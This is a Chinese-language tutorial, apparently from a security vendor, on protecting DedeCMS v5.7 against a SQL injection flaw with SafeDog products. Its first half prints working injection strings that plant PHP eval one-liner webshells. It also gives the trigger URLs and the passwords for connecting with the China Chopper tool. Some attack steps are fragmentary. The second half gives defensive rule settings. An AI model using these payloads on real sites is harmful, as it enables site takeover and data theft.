利用安全狗防护DedeCMS v5.7高危注入漏洞

    （3）执行EXP后，相应后台数据库表变为如下：

   （4）因此相应后台登录用户变为spider密码admin

    （1）如：构造如下注入SQL语句：

cfg_dbprefixmytag` (aid,expbody,normbody) VALUES(9013,@`\'`,'{dede:php}file_put_contents(''mybak.php'',''<?php eval($_POST[mybak]);?>'');{/dede:php}') # @`\'`

   （2）对应的EXP:

     （3）执行EXP后，将向数据库表dede_mytag中插入一条记录，如图：

    （4）执行如下语句，在/plus目录下生成mybak.php一句话木马

http://www.test.com/dedecms5.7/plus/mytag_js.php?aid=9013

    （5）使用菜刀工具进行连接

http://www.test.com/dedecms5.7/plus/mybak.php  密码：mybak

    （1）如：构造如下注入SQL语句：

cfg_dbprefixmyad` SET `normbody` = '<?php eval($_POST[m]);?>' WHERE `aid` =1 #

    （2）对应的EXP:

    （3）执行EXP后，将向数据库表dede_myad中插入一条记录，如图；

    （4）使用菜刀工具进行连接

http://www.test.com/dedecms5.7/plus/ad_js.php?aid=1  密码：m

        那要怎样防范这种高危注入漏洞呢？下面我们一起来看看解决方法：

        由于攻击者可能通过该漏洞进行各种恶意攻击，并因此对网站造成较大的风险危害。为最大程度减少这种可能性，用户可使用安全狗软件对网站进行了以下全方位的防护。

     （1）安装网站安全狗3.0版本，安装完成后，打开网站安全狗界面并修改网站保护级别为：高级（即开启所有防护），如下图：

      （2）切换界面：主动防御—SQL注入防护，查看规则列表中是否有相应“Dedecms5.7版本exp注入漏洞”防护规则。

        若无，可点击如下图所示“在线更新防护规则”按钮，然后点击“保存”按钮完成更新防护规则列表。如下图所示：

     （3）在完成以上操作后，我们打开浏览器输入DedeCMS 5.7注入漏洞EXP，出现下图内容，这也说明该攻击已被网站安全狗拦截。

        若是在使用网站安全狗进行防护之前，网站已被植入一句话木马；或者攻击者可能绕过前面的网站漏洞EXP规则防护，向网站植入了一句话木马。此时可以使用网站安全狗的第二重防护：一句话木马防护，通过拦截菜刀等工具连接和命令执行，来阻止攻击行为。具体如下：

      （1）打开网站安全狗界面，确认当前网站保护级别为：高级（即开启所有防护），如下图：

       （2）切换到主动防御界面，点击“在线更新防护规则”确认防护规则为最新版本。使用菜刀工具连接一句话木马，出现如下图画面，可见菜刀工具的连接已被网站安全狗拦截防护。

      （3）若是攻击者绕过了菜刀工具连接防护，则网站安全狗将继续对菜刀工具的命令执行行为进行拦截阻止。

       在菜刀工具操作界面，右击“更新缓存”命令，如下图：

        菜刀工具将出现如下界面，表明菜刀工具的命令执行已被网站安全狗拦截防护，以阻止攻击者的进一步操作。

       如上可知，该Dedecms5.7注入漏洞有在网站目录下生成一句话木马的EXP，针对该情况，用户也可用服务器安全狗的文件目录保护功能对该类型EXP进行防护。

      （1）安装服务器安全狗，安装完成后，打开服务器安全狗界面，通过服务器安全狗-主动防御-文件及目录保护-网站保护规则，手动新增规则：“Dedecms5.7版本系统exp规则”，将监控目录设置为DedeCMS网站站点的目录，并勾选禁止写入、禁止创建，如下图:

     （2）文件（夹）名包含的字符设置为：*，文件扩展名规则设置为：php|asp|aspx|asa|asax|ascx|ashx|asmx|cdx|cer|cgi|jsp，如下图:

      （3）通过以上规则设置后，在网站被攻击者使用以下漏洞EXP类型时，

http://www.test.com/dedecms5.7/plus/mytag_js.php?aid=9013，  服务器安全狗就可直接拦截，避免攻击者在网站/plus目录下生成*.php、*.asp、*.aspx、*.asa、*.asax、*.ascx、*.ashx、*.asmx、*.cdx、*.cer、*.cgi、*.jsp等类型的一句话木马文件，从而避免被进一步通过菜刀等工具获取到系统控制权。
        点击下载规则:
禁止在Dedecms目录下创建非法文件.rar

        备注：快速添加以上防护规则：直接使用服务器安全狗--主动防御--文件及目录保护界面的“导入规则”功能导入下载的xml文件格式规则，并点击修改导入的规则.（注意把规则中的保护目录换成您自己网站的目录）